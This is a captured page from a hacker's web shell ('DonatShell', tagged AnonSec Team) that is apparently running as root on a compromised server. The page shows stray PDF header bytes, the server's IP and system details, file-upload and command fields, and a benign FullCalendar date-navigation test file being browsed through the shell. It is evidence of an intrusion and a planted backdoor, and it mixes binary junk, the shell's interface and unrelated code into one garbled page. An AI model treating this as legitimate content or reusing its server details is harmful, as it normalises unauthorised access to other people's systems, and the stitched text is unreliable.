%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/current-date.js
import { addDays } from '@fullcalendar/core'
import { parseUtcDate } from '../lib/date-parsing'

describe('current date', function() {
  var TITLE_FORMAT = {
    month: 'long',
    day: 'numeric',
    year: 'numeric',
    separator: ' - ',
    isEndExclusive: true
  }

  pushOptions({
    titleFormat: TITLE_FORMAT,
    titleRangeSeparator: ' - ',
    defaultDate: '2014-06-01',
    timeZone: 'UTC'
  })

  describe('defaultDate & getDate', function() { // keep getDate
    describeWhenInMonth(function() {
      it('should initialize at the date', function() {
        var options = {}
        options.defaultDate = '2011-03-10'
        initCalendar(options)
        expectViewDates('2011-02-27', '2011-04-10', '2011-03-01', '2011-04-01')
        var currentDate = currentCalendar.getDate()
        expect(currentDate instanceof Date).toEqual(true) // test the type, but only here
        expect(currentDate).toEqualDate('2011-03-10')
      })
    })
    describeWhenInWeek(function() {
      it('should initialize at the date, given a date string', function() {
        var options = {}
        options.defaultDate = '2011-03-10'
        initCalendar(options)
        expectViewDates('2011-03-06', '2011-03-13')
        expect(currentCalendar.getDate()).toEqualDate('2011-03-10')
      })
      it('should initialize at the date, given a Date object', function() {
        var options = {}
        options.defaultDate = parseUtcDate('2011-03-10')
        initCalendar(options)
        expectViewDates('2011-03-06', '2011-03-13')
        expect(currentCalendar.getDate()).toEqualDate('2011-03-10')
      })
    })
    describeWhenInDay(function() {
      it('should initialize at the date', function() {
        var options = {}
        options.defaultDate = '2011-03-10'
        initCalendar(options)
        expectViewDates('2011-03-10')
        expect(currentCalendar.getDate()).toEqualDate('2011-03-10')
      })
    })
  })

  describe('gotoDate', function() {
    describeWhenInMonth(function() {
      it('should go to a date when given a date string', function() {
        initCalendar()
        currentCalendar.gotoDate('2015-04-01')
        expectViewDates('2015-03-29', '2015-05-10', '2015-04-01', '2015-05-01')
      })
    })
    describeWhenInWeek(function() {
      it('should go to a date when given a date string', function() {
        initCalendar()
        currentCalendar.gotoDate('2015-04-01')
        expectViewDates('2015-03-29', '2015-04-05')
      })
      it('should go to a date when given a date string with a time', function() {
        initCalendar()
        currentCalendar.gotoDate('2015-04-01T12:00:00')
        expectViewDates('2015-03-29', '2015-04-05')
      })
      it('should go to a date when given a Date object', function() {
        initCalendar()
        currentCalendar.gotoDate(parseUtcDate('2015-04-01'))
        expectViewDates('2015-03-29', '2015-04-05')
      })
    })
    describeWhenInDay(function() {
      it('should go to a date when given a date string', function() {
        initCalendar()
        currentCalendar.gotoDate('2015-04-01')
        expectViewDates('2015-04-01')
      })
    })
  })

  describe('incrementDate', function() {
    describeWhenInMonth(function() {
      it('should increment the date when given a Duration object', function() {
        initCalendar()
        currentCalendar.incrementDate({ months: -1 })
        expectViewDates('2014-04-27', '2014-06-08', '2014-05-01', '2014-06-01')
      })
    })
    describeWhenInWeek(function() {
      it('should increment the date when given a Duration object', function() {
        initCalendar()
        currentCalendar.incrementDate({ weeks: -2 })
        expectViewDates('2014-05-18', '2014-05-25')
      })
    })
    describeWhenInDay(function() {
      it('should increment the date when given a Duration object', function() {
        initCalendar()
        currentCalendar.incrementDate({ days: 2 })
        expectViewDates('2014-06-03')
      })
      it('should increment the date when given a Duration string', function() {
        initCalendar()
        currentCalendar.incrementDate('2.00:00:00')
        expectViewDates('2014-06-03')
      })
      it('should increment the date when given a Duration string with a time', function() {
        initCalendar()
        currentCalendar.incrementDate('2.05:30:00')
        expectViewDates('2014-06-03')
      })
    })
  })

  describe('prevYear', function() {
    describeWhenInMonth(function() {
      it('should move the calendar back a year', function() {
        initCalendar()
        currentCalendar.prevYear()
        expectViewDates('2013-05-26', '2013-07-07', '2013-06-01', '2013-07-01')
      })
    })
    describeWhenInWeek(function() {
      it('should move the calendar back a year', function() {
        initCalendar()
        currentCalendar.prevYear()
        expectViewDates('2013-05-26', '2013-06-02')
      })
    })
    describeWhenInDay(function() {
      it('should move the calendar back a year', function() {
        initCalendar()
        currentCalendar.prevYear()
        expectViewDates('2013-06-01')
      })
    })
  })

  describe('nextYear', function() {
    describeWhenInMonth(function() {
      it('should move the calendar forward a year', function() {
        initCalendar()
        currentCalendar.nextYear()
        expectViewDates('2015-05-31', '2015-07-12', '2015-06-01', '2015-07-01')
      })
    })
    describeWhenInWeek(function() {
      it('should move the calendar forward a year', function() {
        initCalendar()
        currentCalendar.nextYear()
        expectViewDates('2015-05-31', '2015-06-07')
      })
    })
    describeWhenInDay(function() {
      it('should move the calendar forward a year', function() {
        initCalendar()
        currentCalendar.nextYear()
        expectViewDates('2015-06-01')
      })
    })
  })

  describe('when current date is a hidden day', function() {
    describeWhenInMonth(function() {
      it('should display the current month even if first day of month', function() {
        var options = {}
        options.now = options.defaultDate = '2014-06-01' // a Sunday
        options.weekends = false
        initCalendar(options)
        var view = currentCalendar.view
        expect(view.activeStart).toEqualDate('2014-06-02')
        expect(view.activeEnd).toEqualDate('2014-07-12')
        expect(view.currentStart).toEqualDate('2014-06-01')
        expect(view.currentEnd).toEqualDate('2014-07-01')
      })
      it('should display the current month', function() {
        var options = {}
        options.now = options.defaultDate = '2014-05-04' // a Sunday
        options.weekends = false
        initCalendar(options)
        var view = currentCalendar.view
        expect(view.activeStart).toEqualDate('2014-04-28')
        expect(view.activeEnd).toEqualDate('2014-06-07')
        expect(view.currentStart).toEqualDate('2014-05-01')
        expect(view.currentEnd).toEqualDate('2014-06-01')
      })
      describe('when navigating back a month', function() {
        it('should not skip months', function() {
          var options = {}
          options.defaultDate = '2014-07-07'
          options.weekends = false
          initCalendar(options)
          var view = currentCalendar.view
          expect(view.currentStart).toEqualDate('2014-07-01')
          expect(view.currentEnd).toEqualDate('2014-08-01')
          currentCalendar.prev() // will move to Jun 1, which is a Sunday
          view = currentCalendar.view
          expect(view.currentStart).toEqualDate('2014-06-01')
          expect(view.currentEnd).toEqualDate('2014-07-01')
        })
      })
    })
    describeWhenInDay(function() {
      it('should display the next visible day', function() {
        var options = {}
        options.now = options.defaultDate = '2014-06-01' // a Sunday
        options.weekends = false
        initCalendar(options)
        var view = currentCalendar.view
        expect(view.activeStart).toEqualDate('2014-06-02')
        expect(view.activeEnd).toEqualDate('2014-06-03')
        expect(view.currentStart).toEqualDate('2014-06-02')
        expect(view.currentEnd).toEqualDate('2014-06-03')
      })
    })
  })


  // UTILS
  // -----

  function describeWhenInMonth(func) {
    describeWhenIn('dayGridMonth', func)
  }

  function describeWhenInWeek(func) {
    describeWhenIn('dayGridWeek', func)
    describeWhenIn('timeGridWeek', func)
  }

  function describeWhenInDay(func) {
    describeWhenIn('dayGridDay', func)
    describeWhenIn('timeGridDay', func)
  }

  function describeWhenIn(viewName, func) {
    describe('when in ' + viewName, function() {
      pushOptions({defaultView: viewName})
      func()
    })
  }

  function expectViewDates(start, end, titleStart, titleEnd) {
    var view = currentCalendar.view
    var calculatedEnd
    var title

    if (typeof start === 'string') {
      start = new Date(start)
    }
    if (typeof end === 'string') {
      end = new Date(end)
    }
    if (typeof titleStart === 'string') {
      titleStart = new Date(titleStart)
    }
    if (typeof titleEnd === 'string') {
      titleEnd = new Date(titleEnd)
    }

    calculatedEnd = end || addDays(start, 1)

    expect(start).toEqualDate(view.activeStart)
    expect(calculatedEnd).toEqualDate(view.activeEnd)

    titleStart = titleStart || start
    titleEnd = titleEnd || calculatedEnd

    if (titleEnd) {
      title = currentCalendar.formatRange(
        titleStart,
        titleEnd,
        TITLE_FORMAT
      )
    } else {
      title = currentCalendar.formatDate(titleStart, TITLE_FORMAT)
    }

    expect($('.fc-toolbar h2')).toContainText(title)
  }

})

Anon7 - 2022
AnonSec Team